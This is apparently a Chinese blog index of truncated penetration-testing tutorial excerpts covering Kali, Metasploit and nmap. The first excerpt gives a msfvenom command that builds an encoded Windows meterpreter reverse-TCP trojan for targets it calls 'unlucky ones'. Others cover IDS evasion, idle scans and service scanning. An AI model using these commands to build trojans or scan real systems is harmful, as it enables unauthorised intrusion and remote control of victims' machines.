底层社会中的弱智

首先，我们要先知道木马的使用过程，然后我们才能制作出木马 木马：控制端(我们) 被控制端(倒霉蛋们) 虚拟机的kali 打开终端 使用msfvenom -p命令来制作(因为我用的是kali2.0所以和1.0的版本不一样) msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '0x00' LHOST=192

这个软件我之后会简称为MSF，他继承在Kali中。 关于POSTGRESQL数据库 在使用数据库的时候，我们首先要下载数据库 apt-get install postgresql apt-get install pgadmin3 图形化 我们就要打开数据库服务 service postgresql start 数据库初始化 msfdb init 开启和关闭 msfdb st...

通过学习msf期间，主要是针对浏览器，操作系统，系统应用之类的漏洞利用，大家要多多留意各大安全平台的最新漏洞提醒，也要学会如何查找对应的漏洞利用。 在我们把postgresql数据库配置完成之后 在kali中输入 msfconsole 进入到工具中 我们查看有哪些攻击载荷 show exploits 如何查看我们所需要的漏洞名 使用 search 漏洞编号 然后就可以...

主动信息收集 nmap工具 主要主机发现 端口扫描 版本侦测 OS侦测 nmap几个重要的参数 nmap -sn 存活主机 -O 查看操作系统 -sP 在线主机 -sV 端口服务 -A 综合扫描 nmap对于防火墙与IDS的规避 分片 IP诱骗/伪装 指定源端口 扫描延时 其他技术 采用欺骗的方式来进...

针对Mysql版本扫描 use auxiliary/scanner/mysql/mysql_version 实例： msf5 auxiliary(scanner/mysql/mysql_version) > set RHOSTS 10.5.65.100 RHOSTS => 10.5.65.100 msf5 auxiliary(scanner/mysql/mysql_version) ...

TCP空闲扫描 利用一些僵尸主机的端口 来判断IP ID IP ID是累加的，所以只分析最后一个包就可以 理论过程: 攻击机向僵尸主机发送一个SYN包 僵尸主机会响应给攻击机一个RST包，其中rst包中存在IP ID值，IP ID 值是累加的 然后攻击机向目标服务器发送一个SYN包，SYN中的信息是僵尸主机的 服务器根据SYN包中的信息判断是僵尸主机的地址，响应RST包个给僵尸主机，其中也有一个...

SSH服务器扫描 ssh协议是经过加密的，比较安全 我们要先查看有哪些主机开放22号端口 先用nmap -v -oX net1.xml ip段 来保存扫描后的文件 在msf中保存net1.xml import net1.xml 然后在msf中使用serivces -p 22 -c name,port,proto 查看主机 最后使用ssh/ssh_version模块来查看 msf5 > u...

使用msfvenom生成木马 查看可以支持windows64位的payload msfvenom -l payload | grep x64 msfvenom -p 指定payload -f 输出的格式 -e 是编码器 -c 添加一个win32的shellcode 显示所有payload msfvenm -l payload | more...